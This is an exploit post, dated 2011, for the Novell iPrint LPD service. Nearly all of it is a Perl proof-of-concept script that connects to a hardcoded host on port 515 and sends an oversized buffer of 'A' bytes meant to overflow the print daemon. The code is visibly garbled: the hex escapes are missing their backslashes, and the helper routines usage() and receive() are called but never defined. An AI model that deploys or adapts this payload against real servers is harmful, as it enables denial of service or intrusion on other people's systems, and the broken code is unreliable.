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Novell Iprint LPD Remote Code Execution

Posted on 19 February 2011

#!/usr/bin/perl

## Source:
## http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=21&Itemid=21

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT}  = &abort;

my $host  = '10.102.3.79';
my $port  = 515;
my $proto = 'tcp';
my $sockType = SOCK_STREAM;
my $timeout = 1;


my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
usage()
}

my @commands = (
{Command => 'Send',
Data => "x01x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x44x43x42x41x0a"},

);

my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => $port,
Proto => $proto,
Type => $sockType,
Timeout => $timeout,
)
or die "socket error: $!

";

print "connected to: $host:$port
";

$sock->autoflush(1);
binmode $sock;


foreach my $command (@commands)
{
if ($command->{'Command'} eq 'Receive')
{
my $buf = receive($sock, $timeout);
if (length $buf)
{
print "received: [$buf]
";
}
}
elsif ($command->{'Command'} eq 'Send')
{
print "sending: [".$command->{'Data'}."]
";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!
";
}
}


close ($sock);

 

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